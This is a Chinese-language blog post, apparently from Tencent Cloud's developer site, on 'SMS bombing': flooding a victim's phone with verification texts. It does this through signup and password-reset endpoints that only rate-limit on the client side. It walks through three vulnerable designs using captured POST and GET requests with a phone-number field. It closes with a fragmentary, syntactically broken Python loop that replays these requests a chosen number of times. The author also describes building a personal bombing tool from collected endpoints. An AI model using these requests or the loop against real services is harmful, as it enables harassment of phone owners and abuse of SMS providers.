短信轰炸剖析
在互联网中，由于越来越多的平台在注册会员，找回密码，以及手机支付的时候，为了防止他人冒用，恶意盗号，资金的安全往往都会使用短信验证码来验证，从而提升帐号的安全性，资金的安全。
但是，每样东西都有他的两面性，短信验证码在提升安全性的同时，往往也会带来一些不可避免的麻烦。比如不法分子利用短信验证，来对他人手机进行不断的发送验证码(短信轰炸)。
1.短信轰炸的形成
第一种情况:
来看一下这张图，当客户端发送了一个get\post请求给服务器的时候，服务器在接收到该数据包后，像某短信接口平台发送一串字符串get\post请求，某短信平台接口在接收到该请求之后，返回某数值（通常值为4-6位数字）给服务器，方便服务器在客户端输入验证码之后做验证。同时短信接口向手机发送我们所看见的验证码。此时，手机输入验证码给服务器进行验证。 在这里，通常在客户端对服务器发送请求的时候，有些程序猿未对请求的次数做验证，或者是仅仅在本地客户端进行了一个时间的限制（比如时间相隔60秒），在这样的情况下，本地可以进行一个加速器对该APP的倒计时进行加速倒计，从而在短时间内多次的快速发包，形成第一种类型的短信轰炸。也可以进行对APP的数据包抓包之后，进行在web浏览器里面进行多次的快速的重放，形成第二种短信轰炸。 来看一个厂商的案例：
POST数据包
POST http://www.heibai.org/geyeapi/router/rest?v=2.0×tamp=2016-03-19+20%3A53%3A20&app_key=10086&sign=EA6170E32B08923F2EBDF761D16AE9F1&method=aaaavalidatecode%2Fsend&partner_id=top-sdk-java-20120202&sign_method=md5&format=json HTTP/1.1 Accept: text/xml,text/javascript,text/html
User-Agent: hyy-sdk-java
Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Host: www.gzsec.org Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 53 mobile=手机号&imsi=IMSI&client_type=1首先是来分析一下这个POST数据包
POST http://www.heibai.org/geyeapi/router/rest?v=2.0×tamp=2016-03-19+20%3A53%3A20&app_key=10086&sign=EA6170E32B08923F2EBDF761D16AE9F1&method=aaaavalidatecode%2Fsend&partner_id=top-sdk-java-20120202&sign_method=md5&format=json HTTP/1.1在这里我们可以看到一些APP在请求一次短信验证码的时候所发送的信息: V=2.0是该APP的版本 Tamp=是当时的时间 Appkey=APP的一个名字缩写 Sign=APP对该次请求做了个校验（但并未实行次数校验，从而可以利用进行多次校验） Sign_method=md5加密 再看看POST发送的内容 mobile=手机号&imsi=IMSI&client_type=1 mobile=手机号 imsi=手机的IMSI串号 client_type=发送验证码的类型（比如1=注册，2=找回密码，3=支付校验） 这里我在短时间内进行多次快速的发送数据包之后，我的手机就接收到了不少同样的信息。
第二种情况
来看一下这张图，首先是客户端进行get\post请求，但是这回他之前利用内置的接口，直接发送给了某平台的短信接口，在某平台的短信接口收到该请求之后，同时把所发送出去的验证码发给了服务器的某接口（这里我们忽略一下客户端在发送验证码时对服务器的请求），这样服务器接收到了待验证的字符串，同时，手机也接收到了该字符串。在这里我们可以看到，由于省去了对服务器的请求，所以程序猿可能也就忘了对次数进行一个限制，或者说仅仅是在本地进行一个限制，同样的我们可以截取该数据包，在浏览器里面可以进行快速的多次的进行该请求，从而导致短信轰炸。 来看一个案例：
Get数据包
http://www.heibai.org/api/sendcode?username=手机号&from=0&callback=jsonp2简单的对该url分析一下， Sendcode=发送验证码命令 Username=手机号 From=类型 通过构造username然后进行短信轰炸 来看效果图
来看第三种情况 这样的情况有两种小类型这里我就不上建议的图片进行解释了。 1.同样的第一种情况的基础上，本地生成的一个数据包里面直接含有验证码字符串，通过服务器，在发送到接口。 来看一个数据包：
POSThttp://*.*.*.*/app/me/sendSmsMsg HTTP/1.1
Host: *.*.*.* Content-Type: application/x-www-form-urlencoded
Accept: */* Connection: keep-alive
Proxy-Connection: keep-alive
Cookie: JSESSIONID=262f5n0oyngp17n40g26x2bif
User-Agent: TrafficPlusPlus/1.1 (iPhone; iOS9.1; Scale/3.00)
Accept-Language: zh-Hans-CN;q=1,zh-Hant-CN;q=0.9
Accept-Encoding: gzip, deflate
Content-Length: 37
mobile=13800138000&smsCodeRand=753211在post内容里面可以看到两个字段 Mobile=手机号 SmsCodeRand=可爱的验证码 同时在这里我们也能意识到，这串数字是可以篡改的~如果服务器未对这串数字进行赋值为int的话，为varchar类型的话我们甚至可以发送文字呢~ 同样的快速的多次发送数据包之后，我心爱的小手机，在此受到了摧残。
2.第二种类型的情况
http://www.heibai.org/ZFT/Transform/Default.ashx HJ_SIID=A68411C5-68F7-4329-B262-6E7A8E6216F8&HJ_Key_MId=20500decb237d82f&HJ_Key_Ver=41&HJ_Key_Type=Android&HJ_Key_OS=6.0.1&HJ_Key_MBrand=MI+4C&HJ_Key_IP=&HJ_MB_sign=&HJ_FID=sendSMSTYPE&HJ_SID=YXWZ&HJ_MB_type=1&HJ_MB_mobile=手机号在最后可以看到发送的mobile字段 发送出去之后，我们可爱的服务器给我返回了一段虽然我看不懂但是我能解密的字符串
然后依旧这样，我的心爱的小手机~就被再次的无情的轰炸了一波。 我就不上图了。 但是同样的，我们该去怎么利用呢 这里有段Python代码（单线程）
# -*-coding: cp936 -*- a =raw_input('次数：')
b=raw_input('电话:')
url =
url1=
post1=
defa1():
code, head,res, errcode, _ =curl.curl2(url)
code, head,res, errcode, _ = curl.curl2(url1,raw=post1
if__name__=='__main__': from dummy import * for i in range(0,int(a)):
a1()这样的话，我把手里的这些接口集合一下，也制造出了我自己的小型短信轰炸机了
腾讯云开发者
